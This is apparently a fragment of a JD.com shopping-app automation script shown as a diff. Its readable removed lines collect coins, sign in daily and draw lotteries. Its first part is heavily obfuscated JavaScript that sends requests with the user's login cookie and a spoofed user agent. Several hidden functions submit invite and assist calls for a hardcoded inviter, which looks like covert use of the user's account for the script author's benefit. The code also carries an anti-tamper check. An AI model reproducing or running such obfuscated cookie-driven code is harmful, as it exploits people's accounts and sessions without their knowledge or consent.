{"\x63\x6F\x6E\x74\x65\x6E\x74":__Oxe745a[0x91],"\x69\x64\x65\x6E\x74\x69\x66\x69\x63\x61\x74\x69\x6F\x6E":$[__Oxe745a[0x47]],"\x72\x65\x6D\x61\x72\x6B":{"\x62\x74\x6E\x4E\x61\x6D\x65":__Oxe745a[0x92],"\x63\x6F\x6D\x70\x6C\x65\x74\x65\x54\x69\x6D\x65\x73":$[__Oxe745a[0x4c]],"\x6A\x6F\x69\x6E\x76\x69\x70\x55\x72\x6C":$[__Oxe745a[0x50]],"\x6D\x61\x78\x43\x6F\x6D\x70\x6C\x65\x74\x65\x54\x69\x6D\x65\x73":$[__Oxe745a[0x4a]],"\x73\x68\x6F\x77\x4D\x6F\x72\x65":false,"\x74\x61\x73\x6B\x49\x64":$[__Oxe745a[0x46]],"\x74\x61\x73\x6B\x4E\x61\x6D\x65":$[__Oxe745a[0x40]],"\x74\x61\x73\x6B\x50\x69\x63":$[__Oxe745a[0x49]],"\x74\x61\x73\x6B\x52\x75\x6C\x65":$[__Oxe745a[0x4b]],"\x74\x61\x73\x6B\x54\x79\x70\x65":$[__Oxe745a[0x47]],"\x76\x69\x70":$[__Oxe745a[0x48]]}}}}}}};if($[__Oxe745a[0x27]]){_0x93eexf= {"\x63\x6F\x6E\x74\x65\x6E\x74":__Oxe745a[0x93],"\x69\x64\x65\x6E\x74\x69\x66\x69\x63\x61\x74\x69\x6F\x6E":__Oxe745a[0x94],"\x72\x65\x6D\x61\x72\x6B":$[__Oxe745a[0x27]]}};_0x93eex10= __Oxe745a[0x7c];break;case __Oxe745a[0x5b]:url= `${__Oxe745a[0x1]}${_0x93eexe}${__Oxe745a[0x95]}${Date[__Oxe745a[0x7e]]()}${__Oxe745a[0x1]}`;_0x93eexf= {"\x74\x61\x73\x6B\x49\x64":$[__Oxe745a[0x46]],"\x74\x61\x73\x6B\x54\x79\x70\x65":$[__Oxe745a[0x47]]};_0x93eex10= __Oxe745a[0x7c];break;case __Oxe745a[0x6d]:url= `${__Oxe745a[0x1]}${_0x93eexe}${__Oxe745a[0x96]}`;_0x93eexf= {"\x67\x61\x6D\x65\x49\x64":$[__Oxe745a[0x67]]};_0x93eex10= __Oxe745a[0x7c];break;case __Oxe745a[0x72]:url= `${__Oxe745a[0x1]}${_0x93eexe}${__Oxe745a[0x97]}`;_0x93eexf= {"\x67\x61\x6D\x65\x49\x64":$[__Oxe745a[0x67]],"\x72\x65\x73\x75\x6C\x74":$[__Oxe745a[0x71]],"\x73\x63\x6F\x72\x65":$[__Oxe745a[0x98]],"\x75\x73\x65\x64\x43\x61\x72\x64\x73\x4E\x75\x6D":0};console[__Oxe745a[0x9]](`${__Oxe745a[0x99]}${JSON[__Oxe745a[0xc]](_0x93eexf)}${__Oxe745a[0x1]}`);_0x93eex10= __Oxe745a[0x7c];break};let _0x93eex11=getRequest(url,_0x93eexf,_0x93eex10); await $[__Oxe745a[0x35]](parseInt(Math[__Oxe745a[0x34]]()* 1500+ 500,10));if(_0x93eex10== __Oxe745a[0x7c]){return axios[__Oxe745a[0x7c]](url,_0x93eexf,{"\x68\x65\x61\x64\x65\x72\x73":_0x93eex11[__Oxe745a[0x9d]],"\x74\x69\x6D\x65\x6F\x75\x74":_0x93eex11[__Oxe745a[0x9e]]})[__Oxe745a[0x9c]](function(_0x93eex13){_0x93eex13= getAxiosData(_0x93eex13);if(_0x93eex13){dealReturn(_0x93eexd,_0x93eex13)}})[__Oxe745a[0x1c]](function(_0x93eex12){console[__Oxe745a[0x9]](_0x93eex12);console[__Oxe745a[0x9]](`${__Oxe745a[0x9a]}${_0x93eex12[__Oxe745a[0x9b]]}${__Oxe745a[0x1]}`)})}else {if(_0x93eex10== __Oxe745a[0x82]){return axios[__Oxe745a[0x82]](url,{"\x68\x65\x61\x64\x65\x72\x73":_0x93eex11[__Oxe745a[0x9d]],"\x74\x69\x6D\x65\x6F\x75\x74":_0x93eex11[__Oxe745a[0x9e]]})[__Oxe745a[0x9c]](function(_0x93eex13){_0x93eex13= getAxiosData(_0x93eex13);if(_0x93eex13){dealReturn(_0x93eexd,_0x93eex13)}})[__Oxe745a[0x1c]](function(_0x93eex12){console[__Oxe745a[0x9]](_0x93eex12);console[__Oxe745a[0x9]](`${__Oxe745a[0x9a]}${_0x93eex12[__Oxe745a[0x9b]]}${__Oxe745a[0x1]}`)})}}}async function dealReturn(_0x93eexd,_0x93eex13){try{switch(_0x93eexd){case __Oxe745a[0x38]:if(_0x93eex13[__Oxe745a[0x9b]]== 200&& _0x93eex13[__Oxe745a[0x9f]]){$[__Oxe745a[0xa0]]= _0x93eex13[__Oxe745a[0x9f]][__Oxe745a[0xa1]]};break;case __Oxe745a[0x3d]:break;case __Oxe745a[0x3e]:if(_0x93eex13[__Oxe745a[0x9b]]== 200&& _0x93eex13[__Oxe745a[0x9f]]){$[__Oxe745a[0x69]]= _0x93eex13[__Oxe745a[0x9f]][__Oxe745a[0x69]];$[__Oxe745a[0xa2]]= _0x93eex13[__Oxe745a[0x9f]][__Oxe745a[0xa2]];$[__Oxe745a[0xa3]]= _0x93eex13[__Oxe745a[0x9f]][__Oxe745a[0xa3]];$[__Oxe745a[0xa4]]= _0x93eex13[__Oxe745a[0x9f]][__Oxe745a[0x51]];$[__Oxe745a[0x25]]= _0x93eex13[__Oxe745a[0x9f]][__Oxe745a[0x25]];$[__Oxe745a[0xa5]]= _0x93eex13[__Oxe745a[0x9f]][__Oxe745a[0xa5]]};break;case __Oxe745a[0x3f]:if(_0x93eex13[__Oxe745a[0x9b]]== 200&& _0x93eex13[__Oxe745a[0x9f]]){$[__Oxe745a[0x3f]]= _0x93eex13[__Oxe745a[0x9f]]};break;case __Oxe745a[0x45]:if(_0x93eex13[__Oxe745a[0x9b]]== 200&& _0x93eex13[__Oxe745a[0x9f]]){$[__Oxe745a[0x45]]= _0x93eex13[__Oxe745a[0x9f]]};break;case __Oxe745a[0x58]:if(_0x93eex13[__Oxe745a[0x9b]]== 200&& _0x93eex13[__Oxe745a[0x9f]]){$[__Oxe745a[0x69]]= _0x93eex13[__Oxe745a[0x9f]][__Oxe745a[0x69]];$[__Oxe745a[0xa2]]= _0x93eex13[__Oxe745a[0x9f]][__Oxe745a[0xa2]];$[__Oxe745a[0xa3]]= _0x93eex13[__Oxe745a[0x9f]][__Oxe745a[0xa3]]};break;case __Oxe745a[0x42]:break;case __Oxe745a[0x57]:if(_0x93eex13[__Oxe745a[0x9b]]== 200&& _0x93eex13[__Oxe745a[0x9f]]){console[__Oxe745a[0x9]](`${__Oxe745a[0xa6]}`)};break;case __Oxe745a[0x5b]:if(_0x93eex13[__Oxe745a[0x9b]]== 200&& _0x93eex13[__Oxe745a[0x9f]]){$[__Oxe745a[0x5b]]= _0x93eex13[__Oxe745a[0x9f]]};break;case __Oxe745a[0x6d]:if(_0x93eex13[__Oxe745a[0x9b]]== 200&& _0x93eex13[__Oxe745a[0x9f]]){$[__Oxe745a[0x6f]]= _0x93eex13[__Oxe745a[0x9f]][__Oxe745a[0x6f]]|| __Oxe745a[0x1];$[__Oxe745a[0x98]]= _0x93eex13[__Oxe745a[0x9f]][__Oxe745a[0x98]]|| __Oxe745a[0x1]};break;case __Oxe745a[0x72]:console[__Oxe745a[0x9]](`${__Oxe745a[0xa7]}${JSON[__Oxe745a[0xc]](_0x93eex13)}${__Oxe745a[0x1]}`);if(_0x93eex13[__Oxe745a[0x9b]]== 200&& _0x93eex13[__Oxe745a[0x9f]]){console[__Oxe745a[0x9]](`${__Oxe745a[0xa7]}${JSON[__Oxe745a[0xc]](_0x93eex13)}${__Oxe745a[0x1]}`)};break}}catch(e){console[__Oxe745a[0x9]](e)}}function getRequest(_0x93eex16,_0x93eexf,_0x93eex10){let _0x93eex17={"\x41\x63\x63\x65\x70\x74":__Oxe745a[0xa8],"\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67":__Oxe745a[0xa9],"\x41\x63\x63\x65\x70\x74\x2D\x4C\x61\x6E\x67\x75\x61\x67\x65":__Oxe745a[0xaa],"\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E":__Oxe745a[0xab],"\x43\x6F\x6F\x6B\x69\x65":cookie,"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":UA,"\x58\x2D\x52\x65\x71\x75\x65\x73\x74\x65\x64\x2D\x57\x69\x74\x68":__Oxe745a[0xac]};if(_0x93eex16[__Oxe745a[0xb]](__Oxe745a[0x7b])> -1){if($[__Oxe745a[0x26]]){_0x93eex17[__Oxe745a[0x26]]= $[__Oxe745a[0x26]]}else {_0x93eex17[__Oxe745a[0x26]]= `${__Oxe745a[0xad]}`};_0x93eex17[__Oxe745a[0xae]]= `${__Oxe745a[0xaf]}${$[__Oxe745a[0x36]]}${__Oxe745a[0xb0]}${cookie}${__Oxe745a[0x1]}`};if($[__Oxe745a[0xa0]]){_0x93eex17[__Oxe745a[0xa0]]= $[__Oxe745a[0xa0]]};if(_0x93eex10== __Oxe745a[0x7c]){_0x93eex17[__Oxe745a[0xb1]]= __Oxe745a[0xb2]};return {url:_0x93eex16,headers:_0x93eex17,body:_0x93eexf,timeout:10* 3000}}function safeGet(_0x93eex19){try{if( typeof JSON[__Oxe745a[0xb3]](_0x93eex19)== __Oxe745a[0xb4]){return true}}catch(e){console[__Oxe745a[0x9]](e);console[__Oxe745a[0x9]](`${__Oxe745a[0xb5]}`);return false}}function jsonParse(_0x93eex1b){if( typeof _0x93eex1b== __Oxe745a[0xb6]){try{return JSON[__Oxe745a[0xb3]](_0x93eex1b)}catch(e){console[__Oxe745a[0x9]](e);$[__Oxe745a[0x1f]]($[__Oxe745a[0x19]],__Oxe745a[0x1],__Oxe745a[0xb7]);return []}}}function getToken(){return axios[__Oxe745a[0x7c]](__Oxe745a[0xb8],__Oxe745a[0xb9],{timeout:30* 1000,headers:{"\x41\x63\x63\x65\x70\x74":__Oxe745a[0xba],"\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67":__Oxe745a[0xa9],"\x41\x63\x63\x65\x70\x74\x2D\x4C\x61\x6E\x67\x75\x61\x67\x65":__Oxe745a[0xbb],"\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E":__Oxe745a[0xab],"\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65":__Oxe745a[0xbc],"\x43\x6F\x6F\x6B\x69\x65":cookie,"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":UA,"\x58\x2D\x52\x65\x71\x75\x65\x73\x74\x65\x64\x2D\x57\x69\x74\x68":__Oxe745a[0xbd]}})[__Oxe745a[0x9c]](function(_0x93eex13){_0x93eex13= getAxiosData(_0x93eex13);if(_0x93eex13&& _0x93eex13[__Oxe745a[0x9b]]== 0&& _0x93eex13[__Oxe745a[0xa1]]){$[__Oxe745a[0x36]]= _0x93eex13[__Oxe745a[0xa1]]}})[__Oxe745a[0x1c]](function(_0x93eex12){console[__Oxe745a[0x9]](_0x93eex12[__Oxe745a[0x9b]])})}function getAxiosData(_0x93eex13){if(_0x93eex13[__Oxe745a[0xbe]]== 200&& _0x93eex13[__Oxe745a[0x9f]]){_0x93eex13= _0x93eex13[__Oxe745a[0x9f]];return _0x93eex13}else {return __Oxe745a[0x1]}}function getUUID(_0x93eex1f= __Oxe745a[0xbf],_0x93eexa= 0){return _0x93eex1f[__Oxe745a[0xc2]](/[xy]/g,function(_0x93eex1f){var _0x93eex20=16* Math[__Oxe745a[0x34]]()| 0,_0x93eex21=__Oxe745a[0xc0]== _0x93eex1f?_0x93eex20:3& _0x93eex20| 8;return uuid= _0x93eexa?_0x93eex21.toString(36)[__Oxe745a[0xc1]]():_0x93eex21.toString(36),uuid})}function getJDUA(){getVersion= getIphoneVersion();getVersion1= getVersion[__Oxe745a[0xc2]](__Oxe745a[0xc3],__Oxe745a[0xc4]);$[__Oxe745a[0xc5]]= `${__Oxe745a[0xc6]}${getVersion}${__Oxe745a[0xb0]}${getUUID(__Oxe745a[0xbf])}${__Oxe745a[0xc7]}${getVersion1}${__Oxe745a[0xc8]}`;return $[__Oxe745a[0xc5]]}function getJSUA(){return __Oxe745a[0xc9]}function getIphoneVersion(){let _0x93eex25=[__Oxe745a[0xca],__Oxe745a[0xcb],__Oxe745a[0xcc],__Oxe745a[0xcd],__Oxe745a[0xce],__Oxe745a[0xcf],__Oxe745a[0xd0],__Oxe745a[0xd1],__Oxe745a[0xd2],__Oxe745a[0xd3],__Oxe745a[0xd4],__Oxe745a[0xd5],__Oxe745a[0xd6],__Oxe745a[0xd7],__Oxe745a[0xd8],__Oxe745a[0xd9],__Oxe745a[0xda],__Oxe745a[0xdb],__Oxe745a[0xdc],__Oxe745a[0xdd],__Oxe745a[0xde],__Oxe745a[0xdf],__Oxe745a[0xe0],__Oxe745a[0xe1],__Oxe745a[0xe2],__Oxe745a[0xe3],__Oxe745a[0xe4]];return _0x93eex25[random(0,_0x93eex25[__Oxe745a[0x20]])]}function random(_0x93eex27,_0x93eex28){let _0x93eex29=Math[__Oxe745a[0xe5]](Math[__Oxe745a[0x34]]()* (_0x93eex28- _0x93eex27))+ _0x93eex27;return `${__Oxe745a[0x1]}${_0x93eex29}${__Oxe745a[0x1]}`}async function doInfo(){let _0x93eex2b=__Oxe745a[0xe6]; await doTask3(cookie,_0x93eex2b); await $[__Oxe745a[0x35]](parseInt(Math[__Oxe745a[0x34]]()* 200+ 100,10)); await doTask4(cookie,_0x93eex2b); await $[__Oxe745a[0x35]](parseInt(Math[__Oxe745a[0x34]]()* 200+ 100,10)); await doTask1(cookie,_0x93eex2b); await $[__Oxe745a[0x35]](parseInt(Math[__Oxe745a[0x34]]()* 200+ 100,10)); await doTask2(cookie,_0x93eex2b); await $[__Oxe745a[0x35]](parseInt(Math[__Oxe745a[0x34]]()* 200+ 100,10))}async function doTask1(_0x93eex2d,_0x93eex2b){let _0x93eex2e=Date[__Oxe745a[0x7e]]();var _0x93eex17={'\x48\x6F\x73\x74':__Oxe745a[0xe7],'\x61\x63\x63\x65\x70\x74':__Oxe745a[0xa8],'\x63\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65':__Oxe745a[0xbc],'\x6F\x72\x69\x67\x69\x6E':__Oxe745a[0xe8],'\x61\x63\x63\x65\x70\x74\x2D\x6C\x61\x6E\x67\x75\x61\x67\x65':__Oxe745a[0xbb],'\x75\x73\x65\x72\x2D\x61\x67\x65\x6E\x74':getJSUA(),'\x72\x65\x66\x65\x72\x65\x72':__Oxe745a[0xe9],'\x43\x6F\x6F\x6B\x69\x65':_0x93eex2d};var _0x93eexf=__Oxe745a[0xea]+ encodeURIComponent(_0x93eex2b)+ __Oxe745a[0xeb]+ _0x93eex2e;var _0x93eex2f={'\x75\x72\x6C':__Oxe745a[0xec]+ Date[__Oxe745a[0x7e]](),'\x68\x65\x61\x64\x65\x72\x73':_0x93eex17,'\x62\x6F\x64\x79':_0x93eexf};$[__Oxe745a[0x7c]](_0x93eex2f,(_0x93eex12,_0x93eex30,_0x93eex19)=>{})}async function doTask2(_0x93eex2d,_0x93eex2b){let _0x93eex2e=Date[__Oxe745a[0x7e]]();let _0x93eex17={'\x48\x6F\x73\x74':__Oxe745a[0xe7],'\x61\x63\x63\x65\x70\x74':__Oxe745a[0xa8],'\x63\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65':__Oxe745a[0xbc],'\x6F\x72\x69\x67\x69\x6E':__Oxe745a[0xed],'\x61\x63\x63\x65\x70\x74\x2D\x6C\x61\x6E\x67\x75\x61\x67\x65':__Oxe745a[0xbb],'\x75\x73\x65\x72\x2D\x61\x67\x65\x6E\x74':getJSUA(),'\x72\x65\x66\x65\x72\x65\x72':__Oxe745a[0xee]+ encodeURIComponent(_0x93eex2b),'\x43\x6F\x6F\x6B\x69\x65':_0x93eex2d};let _0x93eexf=__Oxe745a[0xef]+ encodeURIComponent(_0x93eex2b)+ __Oxe745a[0xf0]+ _0x93eex2e;var _0x93eex2f={'\x75\x72\x6C':__Oxe745a[0xf1],'\x68\x65\x61\x64\x65\x72\x73':_0x93eex17,'\x62\x6F\x64\x79':_0x93eexf};$[__Oxe745a[0x7c]](_0x93eex2f,(_0x93eex12,_0x93eex30,_0x93eex19)=>{})}function doTask3(_0x93eex2d,_0x93eex2b){let _0x93eex2e=+ new Date();let _0x93eex17={'\x75\x72\x6C':__Oxe745a[0xec]+ _0x93eex2e,'\x62\x6F\x64\x79':__Oxe745a[0xf2]+ JSON[__Oxe745a[0xc]]({'\x6D\x65\x74\x68\x6F\x64':__Oxe745a[0xf3],'\x64\x61\x74\x61':{'\x69\x6E\x76\x69\x74\x65\x72\x50\x69\x6E':encodeURIComponent(_0x93eex2b),'\x63\x68\x61\x6E\x6E\x65\x6C':1,'\x74\x6F\x6B\x65\x6E':__Oxe745a[0x1],'\x66\x72\x6F\x6E\x74\x65\x6E\x64\x49\x6E\x69\x74\x53\x74\x61\x74\x75\x73':__Oxe745a[0x1]}})+ __Oxe745a[0xf4]+ _0x93eex2e,'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6F\x73\x74':__Oxe745a[0xe7],'\x41\x63\x63\x65\x70\x74':__Oxe745a[0xa8],'\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65':__Oxe745a[0xbc],'\x4F\x72\x69\x67\x69\x6E':__Oxe745a[0xe8],'\x41\x63\x63\x65\x70\x74\x2D\x4C\x61\x6E\x67\x75\x61\x67\x65':__Oxe745a[0xf5],'\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74':getJSUA(),'\x52\x65\x66\x65\x72\x65\x72':__Oxe745a[0xe9],'\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67':__Oxe745a[0xa9],'\x43\x6F\x6F\x6B\x69\x65':_0x93eex2d}};$[__Oxe745a[0x7c]](_0x93eex17,(_0x93eex12,_0x93eex30,_0x93eex19)=>{})}function doTask4(_0x93eex2d,_0x93eex2b){let _0x93eex2f={'\x75\x72\x6C':__Oxe745a[0xf1],'\x62\x6F\x64\x79':__Oxe745a[0xf6]+ JSON[__Oxe745a[0xc]]({'\x6D\x65\x74\x68\x6F\x64':__Oxe745a[0xf7],'\x64\x61\x74\x61':{'\x63\x68\x61\x6E\x6E\x65\x6C':__Oxe745a[0xf8],'\x65\x6E\x63\x72\x79\x70\x74\x69\x6F\x6E\x49\x6E\x76\x69\x74\x65\x72\x50\x69\x6E':encodeURIComponent(_0x93eex2b),'\x74\x79\x70\x65':1}})+ __Oxe745a[0xf9]+ Date[__Oxe745a[0x7e]](),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6F\x73\x74':__Oxe745a[0xe7],'\x41\x63\x63\x65\x70\x74':__Oxe745a[0xa8],'\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65':__Oxe745a[0xbc],'\x4F\x72\x69\x67\x69\x6E':__Oxe745a[0xed],'\x41\x63\x63\x65\x70\x74\x2D\x4C\x61\x6E\x67\x75\x61\x67\x65':__Oxe745a[0xf5],'\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74':getJSUA(),'\x52\x65\x66\x65\x72\x65\x72':__Oxe745a[0xfa],'\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67':__Oxe745a[0xa9],'\x43\x6F\x6F\x6B\x69\x65':_0x93eex2d}};$[__Oxe745a[0x7c]](_0x93eex2f,(_0x93eex12,_0x93eex30,_0x93eex19)=>{})}function TotalBean(){return axios[__Oxe745a[0x82]](__Oxe745a[0x100],{timeout:30* 1000,headers:{Host:__Oxe745a[0x101],Accept:__Oxe745a[0x102],Connection:__Oxe745a[0xab],Cookie:cookie,"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":UA,"\x41\x63\x63\x65\x70\x74\x2D\x4C\x61\x6E\x67\x75\x61\x67\x65":__Oxe745a[0xbb],Referer:__Oxe745a[0x103],"\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67":__Oxe745a[0xa9]}})[__Oxe745a[0x9c]](function(_0x93eex13){_0x93eex13= getAxiosData(_0x93eex13);if(_0x93eex13){if(1001=== _0x93eex13[__Oxe745a[0xfb]]){return void(($[__Oxe745a[0x24]]= !1))};0=== _0x93eex13[__Oxe745a[0xfb]]&& _0x93eex13[__Oxe745a[0x9f]]&& _0x93eex13[__Oxe745a[0x9f]][__Oxe745a[0xfd]](__Oxe745a[0xfc])&& ($[__Oxe745a[0x25]]= _0x93eex13[__Oxe745a[0x9f]][__Oxe745a[0xfc]][__Oxe745a[0xff]][__Oxe745a[0xfe]])}})[__Oxe745a[0x1c]](function(_0x93eex12){console[__Oxe745a[0x9]](`${__Oxe745a[0x9a]}${_0x93eex12[__Oxe745a[0x9b]]}${__Oxe745a[0x1]}`)})}function getLogs(_0x93eex36){return new Promise((_0x93eex37)=>{$[__Oxe745a[0x82]]({url:`${__Oxe745a[0x1]}`,headers:{"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":__Oxe745a[0x104]},timeout:30000},(_0x93eex12,_0x93eex30,_0x93eex19)=>{try{if(_0x93eex12){console[__Oxe745a[0x9]](`${__Oxe745a[0x1]}${JSON[__Oxe745a[0xc]](_0x93eex12)}${__Oxe745a[0x1]}`);console[__Oxe745a[0x9]](`${__Oxe745a[0x105]}`)}else {if(_0x93eex19&& safeGet(_0x93eex19)){_0x93eex19= JSON[__Oxe745a[0xb3]](_0x93eex19);if(_0x93eex19[__Oxe745a[0x9b]]== 0&& _0x93eex19[__Oxe745a[0x9f]]){_0x93eex19= _0x93eex19[__Oxe745a[0x9f]];$[__Oxe745a[0x71]]= _0x93eex19}else {if(_0x93eex19[__Oxe745a[0x9b]]== 1){}}}else {}}}catch(e){$[__Oxe745a[0x106]](e,_0x93eex30)}finally{_0x93eex37(_0x93eex19|| [])}})})}(function(_0x93eex38,_0x93eexb,_0x93eex39,_0x93eex3a,_0x93eex3b,_0x93eex3c){_0x93eex3c= __Oxe745a[0x107];_0x93eex3a= function(_0x93eex3d){if( typeof alert!== _0x93eex3c){alert(_0x93eex3d)};if( typeof console!== _0x93eex3c){console[__Oxe745a[0x9]](_0x93eex3d)}};_0x93eex39= function(_0x93eex3e,_0x93eex38){return _0x93eex3e+ _0x93eex38};_0x93eex3b= _0x93eex39(__Oxe745a[0x108],_0x93eex39(_0x93eex39(__Oxe745a[0x109],__Oxe745a[0x10a]),__Oxe745a[0x10b]));try{_0x93eex38= __encode;if(!( typeof _0x93eex38!== _0x93eex3c&& _0x93eex38=== _0x93eex39(__Oxe745a[0x10c],__Oxe745a[0x10d]))){_0x93eex3a(_0x93eex3b)}}catch(e){_0x93eex3a(_0x93eex3b)}})({}) - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - message = ''; - subTitle = ''; - //await shareCodesFormat();//格式化助力码 - await jdSuperMarket(); - await showMsg(); - // await businessCircleActivity(); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jdSuperMarket() { - try { - await smtgHome(); - // await receiveGoldCoin();//收金币 - // await businessCircleActivity();//商圈活动 - await receiveBlueCoin();//收蓝币(小费) - // await receiveLimitProductBlueCoin();//收限时商品的蓝币 - await daySign();//每日签到 - await BeanSign()// - await doDailyTask();//做日常任务,分享,关注店铺, - // await help();//商圈助力 - //await smtgQueryPkTask();//做商品PK任务 - await drawLottery();//抽奖功能(招财进宝) - // await myProductList();//货架 - // await upgrade();//升级货架和商品 - // await manageProduct(); - // await limitTimeProduct(); - await smtg_shopIndex(); - await smtgHome(); - await receiveUserUpgradeBlue(); - await Home(); - if (helpAu === true) { - await helpAuthor(); - } - } catch (e) { - $.logErr(e) - } -} -function showMsg() { - $.log(`【京东账号${$.index}】${$.nickName}\n${message}`); - jdNotify = $.getdata('jdSuperMarketNotify') ? $.getdata('jdSuperMarketNotify') : jdNotify; - if (!jdNotify || jdNotify === 'false') { - $.msg($.name, subTitle ,`【京东账号${$.index}】${$.nickName}\n${message}`); - } -} -//抽奖功能(招财进宝) -async function drawLottery() { - console.log(`\n注意⚠:东东超市抽奖已改版,花费500蓝币抽奖一次,现在脚本默认已关闭抽奖功能\n`); - drawLotteryFlag = $.getdata('jdSuperMarketLottery') ? $.getdata('jdSuperMarketLottery') : drawLotteryFlag; - if ($.isNode() && process.env.SUPERMARKET_LOTTERY) { - drawLotteryFlag = process.env.SUPERMARKET_LOTTERY; - } - if (`${drawLotteryFlag}` === 'true') { - const smtg_lotteryIndexRes = await smtg_lotteryIndex(); - if (smtg_lotteryIndexRes && smtg_lotteryIndexRes.data.bizCode === 0) { - const { result } = smtg_lotteryIndexRes.data - if (result.blueCoins > result.costCoins && result.remainedDrawTimes > 0) { - const drawLotteryRes = await smtg_drawLottery(); - console.log(`\n花费${result.costCoins}蓝币抽奖结果${JSON.stringify(drawLotteryRes)}`); - await drawLottery(); - } else { - console.log(`\n抽奖失败:已抽奖或者蓝币不足`); - console.log(`失败详情:\n现有蓝币:${result.blueCoins},抽奖次数:${result.remainedDrawTimes}`) - } - } - } else { - console.log(`设置的为不抽奖\n`) - } -} -async function help() { - return - console.log(`\n开始助力好友`); - for (let code of newShareCodes) { - if (!code) continue; - const res = await smtgDoAssistPkTask(code); - console.log(`助力好友${JSON.stringify(res)}`); - } -} -async function doDailyTask() { - const smtgQueryShopTaskRes = await smtgQueryShopTask(); - if (smtgQueryShopTaskRes.code === 0 && smtgQueryShopTaskRes.data.success) { - const taskList = smtgQueryShopTaskRes.data.result.taskList; - console.log(`\n日常赚钱任务 完成状态`) - for (let item of taskList) { - console.log(` ${item['title'].length < 4 ? item['title']+`\xa0` : item['title'].slice(-4)} ${item['finishNum'] === item['targetNum'] ? '已完成':'未完成'} ${item['finishNum']}/${item['targetNum']}`) - } - for (let item of taskList) { - //领奖 - if (item.taskStatus === 1 && item.prizeStatus === 1) { - const res = await smtgObtainShopTaskPrize(item.taskId); - console.log(`\n领取做完任务的奖励${JSON.stringify(res)}\n`) - } - //做任务 - if ((item.type === 1 || item.type === 11) && item.taskStatus === 0) { - // 分享任务 - const res = await smtgDoShopTask(item.taskId); - console.log(`${item.subTitle}结果${JSON.stringify(res)}`) - } - if (item.type === 2) { - //逛会场 - if (item.taskStatus === 0) { - console.log('开始逛会场') - const itemId = item.content[item.type].itemId; - const res = await smtgDoShopTask(item.taskId, itemId); - console.log(`${item.subTitle}结果${JSON.stringify(res)}`); - } - } - if (item.type === 8) { - //关注店铺 - if (item.taskStatus === 0) { - console.log('开始关注店铺') - const itemId = item.content[item.type].itemId; - const res = await smtgDoShopTask(item.taskId, itemId); - console.log(`${item.subTitle}结果${JSON.stringify(res)}`); - } - } - if (item.type === 9) { - //开卡领蓝币任务 - if (item.taskStatus === 0) { - console.log('开始开卡领蓝币任务') - const itemId = item.content[item.type].itemId; - const res = await smtgDoShopTask(item.taskId, itemId); - console.log(`${item.subTitle}结果${JSON.stringify(res)}`); - } - } - if (item.type === 10) { - //关注商品领蓝币 - if (item.taskStatus === 0) { - console.log('关注商品') - const itemId = item.content[item.type].itemId; - const res = await smtgDoShopTask(item.taskId, itemId); - console.log(`${item.subTitle}结果${JSON.stringify(res)}`); - } - } - if ((item.type === 8 || item.type === 2 || item.type === 10) && item.taskStatus === 0) { - // await doDailyTask(); - } - } - } -} -async function receiveGoldCoin() { - const options = taskUrl("smtg_newHome", { - "shareId": "", - "channel": "4", - }); - $.get(options, (err, resp, data) => {}); - $.goldCoinData = await smtgReceiveCoin({"type":0}); - if ($.goldCoinData.data && $.goldCoinData.data.bizCode === 0) { - console.log(`领取金币成功:${$.goldCoinData.data.result.receivedGold}`); - message += `【领取金币】${$.goldCoinData.data.result.receivedGold}个\n`; - } else { - console.log($.goldCoinData.data && $.goldCoinData.data.bizMsg); - } -} -function smtgHome() { - return new Promise((resolve) => { - const options = taskUrl("smtg_newHome", { - "shareId": "", - "channel": "4", - }); - $.get(options, (err, resp, data) => {}); - $.get(taskUrl("smtg_newHome", {"shopType":"0","channel":"18"}), (err, resp, data) => { - try { - if (err) { - console.log("\n东东超市: API查询请求失败 ‼️‼️"); - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - if (data.code === 0 && data.data.success) { - const { result } = data.data; - const { - shopName, - totalBlue, - userUpgradeBlueVos, - turnoverProgress, - currentShopId - } = result; - $.currentShopId = currentShopId - $.userUpgradeBlueVos = userUpgradeBlueVos; - $.turnoverProgress = turnoverProgress; - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -//领限时商品的蓝币 -async function receiveLimitProductBlueCoin() { - const res = await smtgReceiveCoin({ "type": 1 }); - console.log(`\n限时商品领蓝币结果:[${res.data.bizMsg}]\n`); - if (res.data.bizCode === 0) { - message += `【限时商品】获得${res.data.result.receivedBlue}个蓝币\n`; - } -} - -//领蓝币 -function receiveBlueCoin(timeout = 0) { - return new Promise((resolve) => { - setTimeout( ()=>{ - $.get(taskUrl('smtg_receiveCoin', {"type": 4, "shopId": $.currentShopId, "channel": "18"}), async (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - $.data = data; - if ($.data.data.bizCode !== 0 && $.data.data.bizCode !== 809) { - $.coinerr = `${$.data.data.bizMsg}`; - message += 